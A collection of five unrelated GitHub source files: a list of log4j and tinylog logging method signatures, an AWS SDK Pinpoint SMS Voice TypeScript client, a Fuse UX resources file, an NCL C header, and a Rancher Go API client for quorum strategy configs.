org/apache/logging/log4j/Logger.debug(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.debug(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.debug(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.debug(Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.debug(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.debug(Ljava/lang/String;)V:0
org/apache/logging/log4j/Logger.debug(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.debug(Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.debug(Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.entry([Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.error(Lorg/apache/logging/log4j/Marker;Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.error(Lorg/apache/logging/log4j/Marker;Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.error(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;)V:0
org/apache/logging/log4j/Logger.error(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.error(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.error(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.error(Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.error(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.error(Ljava/lang/String;)V:0
org/apache/logging/log4j/Logger.error(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.error(Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.error(Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.fatal(Lorg/apache/logging/log4j/Marker;Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.fatal(Lorg/apache/logging/log4j/Marker;Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.fatal(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;)V:0
org/apache/logging/log4j/Logger.fatal(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.fatal(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.fatal(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.fatal(Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.fatal(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.fatal(Ljava/lang/String;)V:0
org/apache/logging/log4j/Logger.fatal(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.fatal(Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.fatal(Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.info(Lorg/apache/logging/log4j/Marker;Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.info(Lorg/apache/logging/log4j/Marker;Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.info(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;)V:0
org/apache/logging/log4j/Logger.info(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.info(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.info(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.info(Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.info(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.info(Ljava/lang/String;)V:0
org/apache/logging/log4j/Logger.info(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.info(Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.info(Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.log(Lorg/apache/logging/log4j/Level;Lorg/slf4j/Marker;Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.log(Lorg/apache/logging/log4j/Level;Lorg/slf4j/Marker;Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.log(Lorg/apache/logging/log4j/Level;Lorg/apache/logging/log4j/Marker;Ljava/lang/String;)V:0
org/apache/logging/log4j/Logger.log(Lorg/apache/logging/log4j/Level;Lorg/apache/logging/log4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.log(Lorg/apache/logging/log4j/Level;Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.log(Lorg/apache/logging/log4j/Level;Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.log(Lorg/apache/logging/log4j/Level;Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.log(Lorg/apache/logging/log4j/Level;Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.log(Lorg/apache/logging/log4j/Level;Ljava/lang/String;)V:0
org/apache/logging/log4j/Logger.log(Lorg/apache/logging/log4j/Level;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.log(Lorg/apache/logging/log4j/Level;Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.log(Lorg/apache/logging/log4j/Level;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.printf(Lorg/apache/logging/log4j/Level;Lorg/apache/logging/log4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.printf(Lorg/apache/logging/log4j/Level;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.trace(Lorg/apache/logging/log4j/Marker;Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.trace(Lorg/apache/logging/log4j/Marker;Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.trace(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;)V:0
org/apache/logging/log4j/Logger.trace(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.trace(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.trace(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.trace(Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.trace(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.trace(Ljava/lang/String;)V:0
org/apache/logging/log4j/Logger.trace(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.trace(Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.trace(Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.warn(Lorg/apache/logging/log4j/Marker;Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.warn(Lorg/apache/logging/log4j/Marker;Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.warn(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;)V:0
org/apache/logging/log4j/Logger.warn(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.warn(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.warn(Lorg/apache/logging/log4j/Marker;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.warn(Ljava/lang/Object;)V:0
org/apache/logging/log4j/Logger.warn(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/logging/log4j/Logger.warn(Ljava/lang/String;)V:0
org/apache/logging/log4j/Logger.warn(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/apache/logging/log4j/Logger.warn(Ljava/lang/String;Lorg/apache/logging/log4j/util/Supplier;)V:1
org/apache/logging/log4j/Logger.warn(Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/log4j/Category.debug(Ljava/lang/Object;)V:0
org/apache/log4j/Category.debug(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/log4j/Category.error(Ljava/lang/Object;)V:0
org/apache/log4j/Category.error(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/log4j/Category.fatal(Ljava/lang/Object;)V:0
org/apache/log4j/Category.fatal(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/log4j/Category.info(Ljava/lang/Object;)V:0
org/apache/log4j/Category.info(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/log4j/Category.l7dlog(Lorg/apache/log4j/Priority;Ljava/lang/String;[Ljava/lang/Object;Ljava/lang/Throwable;)V:1,2
org/apache/log4j/Category.l7dlog(Lorg/apache/log4j/Priority;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/log4j/Category.log(Lorg/apache/log4j/Priority;Ljava/lang/Object;)V:0
org/apache/log4j/Category.log(Lorg/apache/log4j/Priority;Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/log4j/Category.log(Ljava/lang/String;Lorg/apache/log4j/Priority;Ljava/lang/Object;Ljava/lang/Throwable;)V:1,3
org/apache/log4j/Category.warn(Ljava/lang/Object;)V:0
org/apache/log4j/Category.warn(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/log4j/Logger.debug(Ljava/lang/Object;)V:0
org/apache/log4j/Logger.debug(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/log4j/Logger.error(Ljava/lang/Object;)V:0
org/apache/log4j/Logger.error(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/log4j/Logger.fatal(Ljava/lang/Object;)V:0
org/apache/log4j/Logger.fatal(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/log4j/Logger.info(Ljava/lang/Object;)V:0
org/apache/log4j/Logger.info(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/log4j/Logger.l7dlog(Lorg/apache/log4j/Priority;Ljava/lang/String;[Ljava/lang/Object;Ljava/lang/Throwable;)V:1,2
org/apache/log4j/Logger.l7dlog(Lorg/apache/log4j/Priority;Ljava/lang/String;Ljava/lang/Throwable;)V:1
org/apache/log4j/Logger.log(Lorg/apache/log4j/Priority;Ljava/lang/Object;)V:0
org/apache/log4j/Logger.log(Lorg/apache/log4j/Priority;Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/log4j/Logger.log(Ljava/lang/String;Lorg/apache/log4j/Priority;Ljava/lang/Object;Ljava/lang/Throwable;)V:1,3
org/apache/log4j/Logger.warn(Ljava/lang/Object;)V:0
org/apache/log4j/Logger.warn(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/apache/log4j/Logger.trace(Ljava/lang/Object;)V:0
org/apache/log4j/Logger.trace(Ljava/lang/Object;Ljava/lang/Throwable;)V:1
org/pmw/tinylog/Logger.debug(Ljava/lang/Object;)V:0
org/pmw/tinylog/Logger.debug(Ljava/lang/String;)V:0
org/pmw/tinylog/Logger.debug(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/pmw/tinylog/Logger.debug(Ljava/lang/Throwable;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/pmw/tinylog/Logger.error(Ljava/lang/Object;)V:0
org/pmw/tinylog/Logger.error(Ljava/lang/String;)V:0
org/pmw/tinylog/Logger.error(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/pmw/tinylog/Logger.error(Ljava/lang/Throwable;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/pmw/tinylog/Logger.info(Ljava/lang/Object;)V:0
org/pmw/tinylog/Logger.info(Ljava/lang/String;)V:0
org/pmw/tinylog/Logger.info(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/pmw/tinylog/Logger.info(Ljava/lang/Throwable;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/pmw/tinylog/Logger.trace(Ljava/lang/Object;)V:0
org/pmw/tinylog/Logger.trace(Ljava/lang/String;)V:0
org/pmw/tinylog/Logger.trace(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/pmw/tinylog/Logger.trace(Ljava/lang/Throwable;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/pmw/tinylog/Logger.warn(Ljava/lang/Object;)V:0
org/pmw/tinylog/Logger.warn(Ljava/lang/String;)V:0
org/pmw/tinylog/Logger.warn(Ljava/lang/String;[Ljava/lang/Object;)V:0,1
org/pmw/tinylog/Logger.warn(Ljava/lang/Throwable;Ljava/lang/String;[Ljava/lang/Object;)V:0,1
|
{
"pile_set_name": "Github"
}
|
import {
CreateConfigurationSetCommandInput,
CreateConfigurationSetCommandOutput,
} from "./commands/CreateConfigurationSetCommand";
import {
CreateConfigurationSetEventDestinationCommandInput,
CreateConfigurationSetEventDestinationCommandOutput,
} from "./commands/CreateConfigurationSetEventDestinationCommand";
import {
DeleteConfigurationSetCommandInput,
DeleteConfigurationSetCommandOutput,
} from "./commands/DeleteConfigurationSetCommand";
import {
DeleteConfigurationSetEventDestinationCommandInput,
DeleteConfigurationSetEventDestinationCommandOutput,
} from "./commands/DeleteConfigurationSetEventDestinationCommand";
import {
GetConfigurationSetEventDestinationsCommandInput,
GetConfigurationSetEventDestinationsCommandOutput,
} from "./commands/GetConfigurationSetEventDestinationsCommand";
import {
ListConfigurationSetsCommandInput,
ListConfigurationSetsCommandOutput,
} from "./commands/ListConfigurationSetsCommand";
import { SendVoiceMessageCommandInput, SendVoiceMessageCommandOutput } from "./commands/SendVoiceMessageCommand";
import {
UpdateConfigurationSetEventDestinationCommandInput,
UpdateConfigurationSetEventDestinationCommandOutput,
} from "./commands/UpdateConfigurationSetEventDestinationCommand";
import { ClientDefaultValues as __ClientDefaultValues } from "./runtimeConfig";
import {
EndpointsInputConfig,
EndpointsResolvedConfig,
RegionInputConfig,
RegionResolvedConfig,
resolveEndpointsConfig,
resolveRegionConfig,
} from "@aws-sdk/config-resolver";
import { getContentLengthPlugin } from "@aws-sdk/middleware-content-length";
import {
HostHeaderInputConfig,
HostHeaderResolvedConfig,
getHostHeaderPlugin,
resolveHostHeaderConfig,
} from "@aws-sdk/middleware-host-header";
import { getLoggerPlugin } from "@aws-sdk/middleware-logger";
import { RetryInputConfig, RetryResolvedConfig, getRetryPlugin, resolveRetryConfig } from "@aws-sdk/middleware-retry";
import {
AwsAuthInputConfig,
AwsAuthResolvedConfig,
getAwsAuthPlugin,
resolveAwsAuthConfig,
} from "@aws-sdk/middleware-signing";
import {
UserAgentInputConfig,
UserAgentResolvedConfig,
getUserAgentPlugin,
resolveUserAgentConfig,
} from "@aws-sdk/middleware-user-agent";
import { HttpHandler as __HttpHandler } from "@aws-sdk/protocol-http";
import {
Client as __Client,
SmithyConfiguration as __SmithyConfiguration,
SmithyResolvedConfiguration as __SmithyResolvedConfiguration,
} from "@aws-sdk/smithy-client";
import {
RegionInfoProvider,
Credentials as __Credentials,
Decoder as __Decoder,
Encoder as __Encoder,
HashConstructor as __HashConstructor,
HttpHandlerOptions as __HttpHandlerOptions,
Logger as __Logger,
Provider as __Provider,
StreamCollector as __StreamCollector,
UrlParser as __UrlParser,
} from "@aws-sdk/types";
export type ServiceInputTypes =
| CreateConfigurationSetCommandInput
| CreateConfigurationSetEventDestinationCommandInput
| DeleteConfigurationSetCommandInput
| DeleteConfigurationSetEventDestinationCommandInput
| GetConfigurationSetEventDestinationsCommandInput
| ListConfigurationSetsCommandInput
| SendVoiceMessageCommandInput
| UpdateConfigurationSetEventDestinationCommandInput;
export type ServiceOutputTypes =
| CreateConfigurationSetCommandOutput
| CreateConfigurationSetEventDestinationCommandOutput
| DeleteConfigurationSetCommandOutput
| DeleteConfigurationSetEventDestinationCommandOutput
| GetConfigurationSetEventDestinationsCommandOutput
| ListConfigurationSetsCommandOutput
| SendVoiceMessageCommandOutput
| UpdateConfigurationSetEventDestinationCommandOutput;
export interface ClientDefaults extends Partial<__SmithyResolvedConfiguration<__HttpHandlerOptions>> {
/**
* The HTTP handler to use. Fetch in browser and Https in Nodejs.
*/
requestHandler?: __HttpHandler;
/**
* A constructor for a class implementing the @aws-sdk/types.Hash interface
* that computes the SHA-256 HMAC or checksum of a string or binary buffer.
*/
sha256?: __HashConstructor;
/**
* The function that will be used to convert strings into HTTP endpoints.
*/
urlParser?: __UrlParser;
/**
* A function that can calculate the length of a request body.
*/
bodyLengthChecker?: (body: any) => number | undefined;
/**
* A function that converts a stream into an array of bytes.
*/
streamCollector?: __StreamCollector;
/**
* The function that will be used to convert a base64-encoded string to a byte array
*/
base64Decoder?: __Decoder;
/**
* The function that will be used to convert binary data to a base64-encoded string
*/
base64Encoder?: __Encoder;
/**
* The function that will be used to convert a UTF8-encoded string to a byte array
*/
utf8Decoder?: __Decoder;
/**
* The function that will be used to convert binary data to a UTF-8 encoded string
*/
utf8Encoder?: __Encoder;
/**
* The string that will be used to populate default value in 'User-Agent' header
*/
defaultUserAgent?: string;
/**
* The runtime environment
*/
runtime?: string;
/**
* Disable dyanamically changing the endpoint of the client based on the hostPrefix
* trait of an operation.
*/
disableHostPrefix?: boolean;
/**
* The service name with which to sign requests.
*/
signingName?: string;
/**
* Default credentials provider; Not available in browser runtime
*/
credentialDefaultProvider?: (input: any) => __Provider<__Credentials>;
/**
* The AWS region to which this client will send requests
*/
region?: string | __Provider<string>;
/**
* Value for how many times a request will be made at most in case of retry.
*/
maxAttempts?: number | __Provider<number>;
/**
* Optional logger for logging debug/info/warn/error.
*/
logger?: __Logger;
/**
* Fetch related hostname, signing name or signing region with given region.
*/
regionInfoProvider?: RegionInfoProvider;
}
export type PinpointSMSVoiceClientConfig = Partial<__SmithyConfiguration<__HttpHandlerOptions>> &
ClientDefaults &
RegionInputConfig &
EndpointsInputConfig &
AwsAuthInputConfig &
RetryInputConfig &
UserAgentInputConfig &
HostHeaderInputConfig;
export type PinpointSMSVoiceClientResolvedConfig = __SmithyResolvedConfiguration<__HttpHandlerOptions> &
Required<ClientDefaults> &
RegionResolvedConfig &
EndpointsResolvedConfig &
AwsAuthResolvedConfig &
RetryResolvedConfig &
UserAgentResolvedConfig &
HostHeaderResolvedConfig;
/**
* Pinpoint SMS and Voice Messaging public facing APIs
*/
export class PinpointSMSVoiceClient extends __Client<
__HttpHandlerOptions,
ServiceInputTypes,
ServiceOutputTypes,
PinpointSMSVoiceClientResolvedConfig
> {
readonly config: PinpointSMSVoiceClientResolvedConfig;
constructor(configuration: PinpointSMSVoiceClientConfig) {
let _config_0 = {
...__ClientDefaultValues,
...configuration,
};
let _config_1 = resolveRegionConfig(_config_0);
let _config_2 = resolveEndpointsConfig(_config_1);
let _config_3 = resolveAwsAuthConfig(_config_2);
let _config_4 = resolveRetryConfig(_config_3);
let _config_5 = resolveUserAgentConfig(_config_4);
let _config_6 = resolveHostHeaderConfig(_config_5);
super(_config_6);
this.config = _config_6;
this.middlewareStack.use(getAwsAuthPlugin(this.config));
this.middlewareStack.use(getRetryPlugin(this.config));
this.middlewareStack.use(getUserAgentPlugin(this.config));
this.middlewareStack.use(getContentLengthPlugin(this.config));
this.middlewareStack.use(getHostHeaderPlugin(this.config));
this.middlewareStack.use(getLoggerPlugin(this.config));
}
destroy(): void {
super.destroy();
}
}
|
{
"pile_set_name": "Github"
}
|
<Panel ux:Class="Resources">
<Panel>
<float4 ux:Global="Highlight" ux:Value="#24a4b3" />
<float4 ux:Global="HighlightBG" ux:Value="#6DC0D2" />
<float4 ux:Global="HighlightText" ux:Value="#2D9AB2" />
<float4 ux:Global="DefaultText" ux:Value="#676C75" />
<float4 ux:Global="HintGrey" ux:Value="#C7C7C7" />
<float4 ux:Global="LightGrey" ux:Value="#E0E0E0" />
<float4 ux:Global="FocusedText" ux:Value="#444851" />
<float4 ux:Global="BG" ux:Value="#FCFCFC" />
</Panel>
<!--- Images -->
<Image ux:Class="AlertCircle">
<MultiDensityImageSource>
<FileImageSource Density="1" File="Assets/alert-circle.png"/>
<FileImageSource Density="2" File="Assets/alert-circle@2x.png"/>
<FileImageSource Density="3" File="Assets/alert-circle@3x.png"/>
</MultiDensityImageSource>
</Image>
<Image ux:Class="ScreenShot" Width="176" Height="100">
<MultiDensityImageSource>
<FileImageSource Density="1" File="Assets/Studio-Devices-Button.png" />
<FileImageSource Density="2" File="Assets/Studio-Devices-Button@2x.png" />
<FileImageSource Density="2" File="Assets/Studio-Devices-Button@3x.png" />
</MultiDensityImageSource>
</Image>
<Image ux:Class="SyncIcon">
<MultiDensityImageSource>
<FileImageSource Density="1" File="Assets/sync-icon.png"/>
<FileImageSource Density="2" File="Assets/sync-icon@2x.png"/>
<FileImageSource Density="3" File="Assets/sync-icon@3x.png"/>
</MultiDensityImageSource>
</Image>
<Image ux:Class="ConnectIcon">
<MultiDensityImageSource>
<FileImageSource Density="1" File="Assets/connect-icon.png"/>
<FileImageSource Density="2" File="Assets/connect-icon@2x.png"/>
<FileImageSource Density="3" File="Assets/connect-icon@3x.png"/>
</MultiDensityImageSource>
</Image>
<Panel ux:Class="CrossIcon">
<Rectangle Color="DefaultText" Height="2" Width="16" CornerRadius="4">
<Rotation Degrees="45"/>
</Rectangle>
<Rectangle Color="DefaultText" Height="2" Width="16" CornerRadius="4">
<Rotation Degrees="-45"/>
</Rectangle>
</Panel>
<Image ux:Class="ShakeIcon">
<MultiDensityImageSource>
<FileImageSource Density="1" File="Assets/shake.png" />
<FileImageSource Density="2" File="Assets/shake@2x.png" />
<FileImageSource Density="3" File="Assets/shake@3x.png" />
</MultiDensityImageSource>
</Image>
<Image Height="20" ux:Class="ManualSetupIcon">
<MultiDensityImageSource>
<FileImageSource Density="1" File="Assets/Manual.png" />
<FileImageSource Density="2" File="Assets/Manual@2x.png" />
<FileImageSource Density="3" File="Assets/Manual@3x.png" />
</MultiDensityImageSource>
</Image>
<Image Width="25" Height="25" ux:Class="QRCodeIcon">
<MultiDensityImageSource>
<FileImageSource Density="1" File="Assets/QR-Code.png" />
<FileImageSource Density="2" File="Assets/QR-Code@2x.png" />
<FileImageSource Density="3" File="Assets/QR-Code@3x.png" />
</MultiDensityImageSource>
</Image>
<Image Width="30" Height="31" ux:Class="SwipeLeftIcon">
<MultiDensityImageSource>
<FileImageSource Density="1" File="Assets/Swipe-Left.png" />
<FileImageSource Density="2" File="Assets/Swipe-Left@2x.png" />
<FileImageSource Density="3" File="Assets/Swipe-Left@3x.png" />
</MultiDensityImageSource>
</Image>
<Image Width="30" Height="31" ux:Class="SwipeRightIcon">
<MultiDensityImageSource>
<FileImageSource Density="1" File="Assets/Swipe-Right.png" />
<FileImageSource Density="2" File="Assets/Swipe-Right@2x.png" />
<FileImageSource Density="3" File="Assets/Swipe-Right@3x.png" />
</MultiDensityImageSource>
</Image>
</Panel>
|
{
"pile_set_name": "Github"
}
|
#include "NclDataDefs.h"
#define NclAPICREATED 01
#define NclAPIDESTROYED 02
#define NclAPIMODIFIED 04
typedef enum {
NCLNone = Ncl_None,
NCLObj = Ncl_Obj,
NCLVar = Ncl_Var,
NCLHLUObj = Ncl_HLUObj,
NCLFile = Ncl_File,
NCLFileVar = Ncl_FileVar,
NCLHLUVar = Ncl_HLUVar
} NclApiObjTypes;
typedef enum { NclAPINORMAL, NclAPIVARSUBSEL , NclAPICOORD, NclAPICOORDSUBSEL, NclAPIFILEVAR, NclAPIFILEVARSUBSEL,NclAPIPARAM,NclAPIRETURNVAR,NclAPIHLUOBJ,NclAPIFUNCNORMAL } NclApiVarTypes;
typedef struct _NclObjInfoRec {
int obj_id;
NclApiObjTypes obj_type;
}NclObjInfoRec;
typedef struct _NclObjClassInfo {
NclObjInfoRec obj;
}NclObjClassInfo;
typedef struct _NclVarInfoRec {
NclApiVarTypes var_type;
NclQuark var_quark;
int n_dims;
ng_size_t dim_sizes[NCL_MAX_DIMENSIONS];
ng_size_t dim_quarks[NCL_MAX_DIMENSIONS];
} NclVarInfoRec;
typedef struct _NclVarClassInfo {
NclObjInfoRec obj;
NclVarInfoRec var;
} NclVarClassInfo;
typedef struct _NclHLUVarInfoRec {
struct _NclHLUObjInfoRec *the_hlu_info;
} NclHLUVarInfoRec;
typedef struct _NclHLUVarClassInfo {
NclObjInfoRec obj;
NclVarInfoRec var;
NclHLUVarInfoRec hlu;
} NclHLUVarClassInfo;
typedef struct _NclFileVarInfoRec {
int foo;
} NclFileVarInfoRec;
typedef struct _NclFileVarClassInfo {
NclObjInfoRec obj;
NclVarInfoRec var;
NclFileVarInfoRec file;
} NclFileVarClassInfo;
typedef struct _NclFileInfoRec {
NclQuark fname;
NclQuark fpath;
int wr_status;
}NclFileInfoRec;
typedef struct _NclFileClassInfo {
NclObjInfoRec obj;
NclFileInfoRec file;
}NclFileClassInfo;
typedef struct _NclHLUObjInfoRec {
int hlu_id;
NclQuark hlu_name;
int parent_hluobj_id;
NhlClass class_ptr;
}NclHLUObjInfoRec;
typedef struct _NclHLUObjClassInfo{
NclObjInfoRec obj;
NclHLUObjInfoRec hluobj;
} NclHLUObjClassInfo;
extern NhlErrorTypes NclApiRegisterCallback(
#if NhlNeedProto
NclApiObjTypes /* obj_type */,
unsigned int /* type */,
void* /* callback_function */,
void* /* user_data */
#endif
);
|
{
"pile_set_name": "Github"
}
|
package client
const (
RECREATE_ON_QUORUM_STRATEGY_CONFIG_TYPE = "recreateOnQuorumStrategyConfig"
)
type RecreateOnQuorumStrategyConfig struct {
Resource
Quorum int64 `json:"quorum,omitempty" yaml:"quorum,omitempty"`
}
type RecreateOnQuorumStrategyConfigCollection struct {
Collection
Data []RecreateOnQuorumStrategyConfig `json:"data,omitempty"`
client *RecreateOnQuorumStrategyConfigClient
}
type RecreateOnQuorumStrategyConfigClient struct {
rancherClient *RancherClient
}
type RecreateOnQuorumStrategyConfigOperations interface {
List(opts *ListOpts) (*RecreateOnQuorumStrategyConfigCollection, error)
Create(opts *RecreateOnQuorumStrategyConfig) (*RecreateOnQuorumStrategyConfig, error)
Update(existing *RecreateOnQuorumStrategyConfig, updates interface{}) (*RecreateOnQuorumStrategyConfig, error)
ById(id string) (*RecreateOnQuorumStrategyConfig, error)
Delete(container *RecreateOnQuorumStrategyConfig) error
}
func newRecreateOnQuorumStrategyConfigClient(rancherClient *RancherClient) *RecreateOnQuorumStrategyConfigClient {
return &RecreateOnQuorumStrategyConfigClient{
rancherClient: rancherClient,
}
}
func (c *RecreateOnQuorumStrategyConfigClient) Create(container *RecreateOnQuorumStrategyConfig) (*RecreateOnQuorumStrategyConfig, error) {
resp := &RecreateOnQuorumStrategyConfig{}
err := c.rancherClient.doCreate(RECREATE_ON_QUORUM_STRATEGY_CONFIG_TYPE, container, resp)
return resp, err
}
func (c *RecreateOnQuorumStrategyConfigClient) Update(existing *RecreateOnQuorumStrategyConfig, updates interface{}) (*RecreateOnQuorumStrategyConfig, error) {
resp := &RecreateOnQuorumStrategyConfig{}
err := c.rancherClient.doUpdate(RECREATE_ON_QUORUM_STRATEGY_CONFIG_TYPE, &existing.Resource, updates, resp)
return resp, err
}
func (c *RecreateOnQuorumStrategyConfigClient) List(opts *ListOpts) (*RecreateOnQuorumStrategyConfigCollection, error) {
resp := &RecreateOnQuorumStrategyConfigCollection{}
err := c.rancherClient.doList(RECREATE_ON_QUORUM_STRATEGY_CONFIG_TYPE, opts, resp)
resp.client = c
return resp, err
}
func (cc *RecreateOnQuorumStrategyConfigCollection) Next() (*RecreateOnQuorumStrategyConfigCollection, error) {
if cc != nil && cc.Pagination != nil && cc.Pagination.Next != "" {
resp := &RecreateOnQuorumStrategyConfigCollection{}
err := cc.client.rancherClient.doNext(cc.Pagination.Next, resp)
resp.client = cc.client
return resp, err
}
return nil, nil
}
func (c *RecreateOnQuorumStrategyConfigClient) ById(id string) (*RecreateOnQuorumStrategyConfig, error) {
resp := &RecreateOnQuorumStrategyConfig{}
err := c.rancherClient.doById(RECREATE_ON_QUORUM_STRATEGY_CONFIG_TYPE, id, resp)
if apiError, ok := err.(*ApiError); ok {
if apiError.StatusCode == 404 {
return nil, nil
}
}
return resp, err
}
func (c *RecreateOnQuorumStrategyConfigClient) Delete(container *RecreateOnQuorumStrategyConfig) error {
return c.rancherClient.doResourceDelete(RECREATE_ON_QUORUM_STRATEGY_CONFIG_TYPE, &container.Resource)
}
|
{
"pile_set_name": "Github"
}
